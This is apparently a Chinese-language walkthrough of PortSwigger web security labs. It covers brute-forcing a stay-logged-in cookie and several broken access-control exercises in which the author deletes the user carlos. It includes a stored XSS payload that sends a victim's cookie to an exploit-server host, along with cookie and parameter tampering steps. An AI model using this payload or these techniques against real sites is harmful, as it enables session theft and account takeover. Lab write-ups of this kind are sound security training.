此实验室允许用户在关闭浏览器会话后仍保持登录状态。用于提供此功能的 cookie 容易受到暴力破解。为了解决实验室问题,暴力破解 Carlos 的 cookie 以访问他的“我的帐户”页面。
- 您的凭据:
wiener:peter
- 受害者用户名:
carlos
- 候选人的密码
实验步骤:
抓取登录保持的数据包,分析stay-logged-in字段,根据结构我们猜测该字段经过base64编码,尝试解码
解码后,用户名后面的密码部分也不难看出是用MD5加密
至此,我们分析出了stay-logged-in字段的结构为:base64_encode(username:md5(password)),所以我们构造payload进行爆破
爆破成功,这里我们根据response的Set-cookie来登录受害者用户,也可以将发送的请求解码再解密,得出密码为aaaaaa
成功登录受害者用户
补充分析:熟悉常见编码以及加密方式
Offline password cracking
靶场要求:
这个实验室存储用户的密散列在一个饼干。 实验室还包含一个XSS脆弱性评论的功能。 要解决的实验室,获得卡洛斯的
stay-logged-in
饼干并用它来破解了他密码。 然后,登录在carlos
和删除他的账户从"我的帐户"网页。
- 你凭据:
wiener:peter
- 受害者的用户名:
carlos
实验步骤:
登录后随便进一篇文章,在留言板插入储存型XSS:<script>documnet.location='https://exploit-0a2b00e3039cfa87c05e44870157005d.exploit-server.net'+document.cookie</script>
------------------------------
越权
访问控制(或授权)是对谁(或什么)可以执行尝试的操作或访问他们请求的资源的约束的应用。在web应用程序的上下文中,访问控制取决于身份验证和会话管理:
身份验证可识别用户并确认他们是他们所说的人。
会话管理标识同一用户正在发出哪些后续HTTP请求。
访问控制确定是否允许用户执行他们试图执行的操作。
破坏的访问控制是一个常见的、通常是关键的安全漏洞。访问控制的设计和管理是一个复杂而动态的问题,它将业务、组织和法律约束应用于技术实现。访问控制设计决策必须由人类而非技术做出,并且错误的可能性很高。
Unprotected admin functionality
这个实验室有一个不受保护的管理面板。通过删除用户carlos来解决实验室问题。
robots数据泄露,访问/robots.txt
再访问/administrator-panel,直接垂直越权,删除用户carlos
Unprotected admin functionality with unpredictable URL
这个实验室有一个不受保护的管理面板。它位于一个不可预测的位置,但该位置在应用程序中的某个位置被公开。
通过访问管理面板并使用它删除用户carlos来解决实验室问题。
查看页面源代码,访问/admin-0ijqim,删除用户carlos
User role controlled by request parameter
这个实验室有一个位于/admin的管理面板,用于识别使用可伪造cookie的管理员。
通过访问管理面板并使用它删除用户carlos来解决实验室问题。
您可以使用以下凭据登录到自己的帐户:wiener:peter
登录账户,修改cookie,将Admin=false改为Admin=true
随后访问/admin,删除用户carlos
User role can be modified in user profile
这个实验室有一个位于/admin的管理面板。只有角色ID为2的登录用户才能访问它。
通过访问管理面板并使用它删除用户carlos来解决实验室问题。
您可以使用以下凭据登录到自己的帐户:wiener:peter
登录账户,抓取更新邮箱的数据包,查看response发现一个roleid
于是我们尝试在请求时添加这个字段,传入的参数值为2,成功越权
访问/admin,删除用户carlos
User ID controlled by request parameter
此实验室在用户帐户页面上存在横向权限提升漏洞。
要解决实验室问题,请获取用户carlos的API密钥并将其作为解决方案提交。
您可以使用以下凭据登录到自己的帐户:wiener:peter
抓取点击My account请求的数据包,发现请求的参数含有wiener,我们将其改为carlos便可以伪造登录
User ID controlled by request parameter, with unpredictable user IDs
此实验室在用户帐户页面上存在横向权限提升漏洞,但使用GUID标识用户。
要解决实验室问题,请找到carlos的GUID,然后提交他的API密钥作为解决方案。
您可以使用以下凭据登录到自己的帐户:wiener:peter
登录用户,抓取登录的数据包,可以发现请求了id=e6b5074a-501e-4b08-8d69-1e8dbb2af207
,这一段id是代表我们的用户id
接下来我们找到carlos的文章,获取到id=af9a8df9-9e0d-4b4d-aba4-d58c4115281b